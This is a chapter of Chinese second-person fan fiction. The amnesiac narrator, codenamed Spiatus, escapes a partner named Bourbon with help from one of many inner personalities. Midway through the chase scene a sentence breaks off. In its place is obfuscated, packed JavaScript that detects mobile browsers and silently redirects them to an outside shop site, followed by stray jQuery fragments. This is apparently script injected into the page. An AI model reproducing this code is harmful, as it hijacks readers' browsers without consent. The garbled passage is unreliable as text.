3. 第三章
    你决定接受波本的邀约。

    一方面是为了转移他的注意力,一方面也是看他来势汹汹,大概也不会简单任你拒绝。

    于是你向他主动提出邀请,与波本共赴那个所谓的“任务”。

    你们离开了这栋公寓——原来你所在的地方是一栋公寓。

    你一眼瞟过公寓入口处的信箱。

    你知晓你方才所在房间的门牌号,装作无意看向对应信箱时。半是在你的猜想之中,那个信箱里塞满了各式信件、广告、垃圾。

    其房间的主人果然很久未曾打理过自己的邮箱——不如说那个房间,都不曾有人来往过了。

    你无意识的想着那具尸体、那个房间的主人、还有至今未明的自己的身份;

    一边看向身旁,小麦肤色的金发男人满载闲适,姿态放松的并肩走在你的身旁。

    任哪个外人来看,都会以为你们是相识许久、关系亲密的好友吧。谁会想到,你们其实才是初见呢。

    ……而且他还有stalker嫌疑。

    思及至此,你又觉得浑身不自在,总担忧自己身上不知不觉被他放了追踪器什么的。

    你忍不住又问道:“所以你究竟是怎么找到我的?”

    波本笑了笑,还是在卖关子:“前辈你觉得呢?”

    你想了想。走出公寓公寓的时候,你亦注意到了入口处的监视器。于是你试探性的问道:“你是通过监视器发觉我进入公寓……”

    你没有任何记忆。

    如果他给出肯定回答,你会想办法从他口中探听你“失忆前”的情报。

    波本摇了摇头。你皱起眉,正待思考下一种可能性,波本这次却直接给出了答案:

    “是因为你给了我电话,告知我你的所在地、所以我才找到了你。”

    听见这个回答,你有轻微的怔忡。

    波本仍是笑着,却是目光锐利的盯着你。他眼里不含笑:“就别再试探我了吧,斯皮亚图斯。”

    你沉默着,思考着他这句话中包含的信息。

    波本像是在继续解释:“即便我真的有实时查阅这一代监视器录像的权限,我也不可能日夜不分的紧盯屏幕,就为了搜寻你的行踪。”

    波本摊手,像是在吐槽一位皮实的熊孩子:

    “如果你真想藏,我确实没有办法找到你。当然你也不用担心我在你身上放定位装置这样的手段。接下来的任务我们还会同行三周呢,我可不想一开始就与你内讧。”

    这一段话,波本说得很诚恳。他是注视着你的眼睛说的:

    “所以我很感谢你能主动出来接受这个任务。如果我一直找不到你的人,那最后受到组织处罚的就会是我了。”

    你仍在思考,所以保持了沉默。波本又一次露出笑容。这一次是含着真心,你看见他眸中温润的神色,带着几分让人情不自禁交托信任的魅力。

    他向你伸出了手,笑着向你邀约道:“早就听说了你的能力优秀,终于有机会能让我观瞻学习一番了。希望我们能够合作愉快,斯皮亚图斯。”

    “我会成为一位值得依靠的好搭档的。”他说,“所以……”

    话语却止在了这里。金发男人本带着笑意的脸上显出几分欲语还休,莫名有些吞吐,也没把后面的语句说完。

    你便好奇追问道:“所以?”

    “所以什么?”

    “所以……你可以尝试相信我。”

    他微微侧了头,不好意思直面你的目光,格外别扭的说道:“不过我知道,这个词汇很难出现在组织成员间。所以算了,当我没说。”

    “只是作为普通的工作搭档。”

    波本又一次露出笑容,温声对你说道:“这三周时间里请多指教了,前辈。”

    你亦对他露出笑容,握住了他向你伸来的手。

    他的手掌是炽热的。

    或者是因为你的体温本就太低,又或者是因为你仍未从一睁眼就看见尸体、听见自己多了“24个人格”的惊吓中回过神来。你握着波本的手,轻易感受到了他蕴藏在手心中的温度与力量。

    他紧紧握住了你的手,就像是握住了一份重要的誓言。

    你听见你脑中的声音说:

    [【能说会道】:接下来该怎么办呢?]

    [【食髓知味】:跟着他离开,就这样开启任务?]

    [【争强好胜】:还是背叛他对你的期待,独自开启不一样的支线未来?]

    你仍然是笑着的,笑得和波本一样灿烂。

    但你在脑中的回应没有丝毫犹豫:

    「我要摆脱他。」

    脑内的声音们低低笑起来,仿佛早就预料到了你的回答。

    你问:「我现在有办法逃离他的监视吗?我想要独自行动。」

    [当然。]其中一道声音回应道。

    [【鬼祟玲珑】:把你的身体控制权交给我,我带你绕路甩脱他。]

    [不用担心,我只是暂时借用你身体而已,很快就会把控制权还给你。]

    你略一犹豫。而波本也松开与你交握的手,轻轻拍了一下你的背:“走吧,我们先去机场。我已经买好机票了。”

    你点头:“什么时候的飞机?”

    “时间尚有余裕,距离起飞还有4个小时。”

    “哪个飞机场?”

    “米花町只有一个飞机场,前辈。”

    你点头,指了指路边:“叫计程车过去?”

    波本点头。

    “谁出钱?”你半开玩笑的说道。

    波本显得有些无奈的看了你一眼:“谁都知道你穷。……行吧,我出钱好了。”

    “谢谢,我现在也庆幸起能和你搭档了。你说得没错,我确实两口袋空空。”

    你摸着下巴饶有兴致的模样:“但是你怎么说得好像大家都很熟悉我一样?我在‘组织’里原来这么出名的?”

    “除非是刚进组织不久的新人,不然谁会不知道前辈你的大名……我是说代号呢。”

    恰好,一辆计程车驶过路边。波本拦下计程车,和司机交代了一句目的地,所以话题也中断了一瞬。

    接着他才继续说道:“在组织里,你可是个大名人。我刚进组织时就听说了你……”

    【鬼祟玲珑】,上号!

    波本半个身子已经探入计程车的时候,你果断转移了身体的控制权。

    【鬼祟玲珑】身体前倾作势要进入计程车,却在这一瞬突然爆发,按住计程车后车盖,单手支撑翻身跃到车顶,就这样直冲向马路中央。

    面对频频响笛的卡车大巴,【鬼祟玲珑】如蛇一般以不可思议的走位穿过车流,就连作为旁观者视角的你看得都是一阵心惊胆跳。

    可紧张的情绪都还没来得及提起,【鬼祟玲珑】已经到达了马路对面。

    有如短跑冠军一般,他用

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13202461|139199||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    着你的身体,向仍留驻在这头的波本扬手打了个招呼:“Bye-bye!”

    波本已经冲出计程车,向你追来。

    你处于旁观视角,又像是被牵着绳的风筝一般,看着“自己”再次冲出向前,隐匿在对面马路的人群中。

    仅仅是这点手段,还不足以甩脱波本,他很快跟了上来。不过他的能耐似乎也在【鬼祟玲珑】的预料之中。【鬼祟玲珑】搜寻着可行道路,跑酷一般以极为不可思议的柔韧性飞檐走壁,没几步几蹿到了房顶上去。

    你感受着轻风拂过脸颊,再次迈步向前,享受着纯粹的被追逐的快感。

    波本又一次拉近了与你的距离,你却没有半分紧张。不仅如此——

    “哈哈哈哈哈哈哈————!!”

    或许是顺应你此刻的心情,又或者是受至于【鬼祟玲珑】的操纵,你自喉中发出了不符合此时此景的、完全不合时宜的畅快笑声。

    “有趣、真有趣!”

    你在屋顶上张开了手臂,回头看向隔着距离追逐着你、同样跃上屋顶的波本。

    他亦看见了毫无防备般站在前方屋顶、停下步子,疯狂大笑出声的你。

    你望向他的眼中满是兴奋与愉悦。

    就像进入游乐园、即将乘上娱乐设施的幼儿一般——

    【鬼祟玲珑】——不,或许这亦是你想说的话。

    波本读懂了你的唇语:

    [来抓我试试啊?]

    你重新看向前方,紧绷肌肉,迈步冲出,一瞬之间便消失在了他的视野之中。

    波本瞳孔微微放大。包含着你突然逃离时给他带来的惊讶、联想到任务可能失败后带来的紧张、……

    还有被激起原始的狩猎本能后,直面你的挑衅时带来的兴奋。

    他勾起嘴角,笑容甚至隐隐有些扭曲。波本动作迅捷的向前疾步冲出,跟上了你离去的背影。

    ——

    “好了,换班!”

    【鬼祟玲珑】确认了周围再也不见波本的身影,比你预想的更为轻易,他将身体的控制权交还给了你。

    对于缺失了记忆的你来说,这里依然是个从未见过的街道、全然陌生的地界。

    左顾右盼的打探环境时,你眼尖,刚好注意了些许异常。同时亦有声音对你进行了提示:

    [【五感发达】:有两个值得注意的对象。……不,应该算作是三个吧。]

    [【五感发达】:你发现那个小偷了吗?]

    你点了点头。

    [【见微知著】:有个小偷正准备偷窃他斜前方的目标对象的钱包。]

    [【见微知著】:而在他们三点钟方位的斜后方,那名黑发男人虽穿着常服,但毫无疑问,他是警察。]

    [【博学多闻】:这大概就是“螳螂捕蝉,黄雀在后”吧,哈哈。]

    你不着痕迹的向着便衣警察的方向看了一眼。

    [【争强好胜】:怎么样,要去插一脚吗?]

    你又一次点了点头。

    [【循循善诱】:那么,以谁为目标呢?]

    [小偷?被小偷盯上的冤种?还是那名便衣警察?]

    你并未直接回答。只是一边活动着肩膀,右手探向背部。

    就像是拍打灰尘一般,你动作随意的伸手,将左肩处的微型定位装置扔进了垃圾桶中。

    然后,你光明正大的向着他们其中一人走去。